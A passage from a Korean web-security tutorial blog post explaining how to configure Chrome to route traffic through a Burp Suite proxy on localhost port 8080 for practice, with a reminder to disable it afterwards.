Burp Suite는 기본 8080 포트로 프록시 역할을 수행한다. 다음 그림은 Burp Suite를 실행해서 Proxy 옵션을 확인하는 화면이다. 여기서 프록시 리스닝 포트를 변경할 수 있지만 여기서는 기본값을 사용한다.
3.2.2 브라우저에 프록시 설정하기
필자가 사용하는 구글 크롬 브라우저를 기반으로 프록시 설정을 알아본다.
크롬 브라우저의 설정화면으로 이동한다. 상단의 '설정 검색'에서 '프록시' 라고 검색한다.
'프록시 설정 열기'를 하여 LAN 설정에서 프록시 서버 사용을 활성화하고 IP(localhost)와 포트(8080)를 입력한다.
이렇게 브라우저에 프록시가 설정되면, 이제부터는 모든 웹 요청과 응답은 이 프록시를 경유하게 된다.
* 주의
웹 해킹을 실습하지 않을 때는 프록시 서버를 비활성화 시켜 놓는 것이 좋다.
그렇지 않으면 일반 사이트 접속이 원활하지 않을 수 있다.
이로써 기본적인 툴 설치와 환경 설정이 완료 되었다. 이제부터 본격적으로 웹보안 공부를 시작해 보도록 하자
수고 하셨습니다~~~~~~~~~~~~~~~~
'SW개발' 카테고리의 다른 글
[웹보안] SQL Injection (5) | 2019.01.28 |
---|---|
[웹보안] 브루트 포스(BRUTE FORCE) 공격 (8) | 2019.01.23 |
설정 파일의 외부화(Spring Cloud Config) (5) | 2018.03.29 |
SPA와 Social sharing(소셜 공유) (20) | 2017.06.26 |
좋은 소프트웨어를 위한 기본기 (6) | 2016.12.14 |